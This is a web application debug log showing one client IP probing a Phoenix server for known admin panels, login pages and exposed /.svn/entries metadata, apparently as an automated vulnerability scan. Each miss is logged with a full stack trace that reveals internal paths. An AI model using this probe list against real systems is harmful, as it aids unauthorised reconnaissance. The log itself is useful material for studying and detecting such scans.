[Thu Sep  3 07:56:45.711000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34658] GET /js/macro_config.js
[Thu Sep  3 07:56:45.742000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34658] ** (Phoenix.Router.NoRouteError) no route found for GET /js/macro_config.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:46.800000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34670] GET /tos/index.php
[Thu Sep  3 07:56:46.816000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34670] ** (Phoenix.Router.NoRouteError) no route found for GET /tos/index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:48.719000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34674] GET /tos/
[Thu Sep  3 07:56:48.754000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34674] ** (Phoenix.Router.NoRouteError) no route found for GET /tos (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:50.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34690] GET /
[Thu Sep  3 07:56:50.194000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:34690] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:56:50.195000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34690] Sent 200 in 1ms
[Thu Sep  3 07:56:53.385000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46396] GET /auth/login
[Thu Sep  3 07:56:53.410000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46396] ** (Phoenix.Router.NoRouteError) no route found for GET /auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:56:58.445000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46406] GET /
[Thu Sep  3 07:56:58.445000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:46406] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:56:58.446000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46406] Sent 200 in 1ms
[Thu Sep  3 07:57:00.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46412] GET /en/admin/aggregate.asp
[Thu Sep  3 07:57:00.422000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46412] ** (Phoenix.Router.NoRouteError) no route found for GET /en/admin/aggregate.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:05.725000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56882] GET /spywall/login.php
[Thu Sep  3 07:57:05.768000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56882] ** (Phoenix.Router.NoRouteError) no route found for GET /spywall/login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:07.850000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56888] POST /webui/apps/sdcss
[Thu Sep  3 07:57:07.880000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56888] ** (Phoenix.Router.NoRouteError) no route found for POST /webui/apps/sdcss (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:09.939000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56900] GET /brightmail/viewLogin.do
[Thu Sep  3 07:57:09.966000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56900] ** (Phoenix.Router.NoRouteError) no route found for GET /brightmail/viewLogin.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:13.334000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60536] GET /.svn/entries
[Thu Sep  3 07:57:13.355000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60536] ** (Phoenix.Router.NoRouteError) no route found for GET /.svn/entries (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:17.708000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60546] GET /idm/login.jsp
[Thu Sep  3 07:57:17.728000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60546] ** (Phoenix.Router.NoRouteError) no route found for GET /idm/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:18.155000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60550] GET /index.jsp
[Thu Sep  3 07:57:18.190000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60550] ** (Phoenix.Router.NoRouteError) no route found for GET /index.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:18.881000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60552] GET /index.JSP
[Thu Sep  3 07:57:18.905000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60552] ** (Phoenix.Router.NoRouteError) no route found for GET /index.JSP (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:21.009000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:60558] GET /config-browser/showJars.xhtml
[Thu Sep  3 07:57:21.025000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:60558] ** (Phoenix.Router.NoRouteError) no route found for GET /config-browser/showJars.xhtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:30.146000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47800] GET /stronghold-info
[Thu Sep  3 07:57:30.196000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47800] ** (Phoenix.Router.NoRouteError) no route found for GET /stronghold-info (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:30.912000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47804] GET /stronghold-status
[Thu Sep  3 07:57:30.995000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47804] ** (Phoenix.Router.NoRouteError) no route found for GET /stronghold-status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:57:32.553000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47820] GET /login
[Thu Sep  3 07:57:32.609000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47820] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
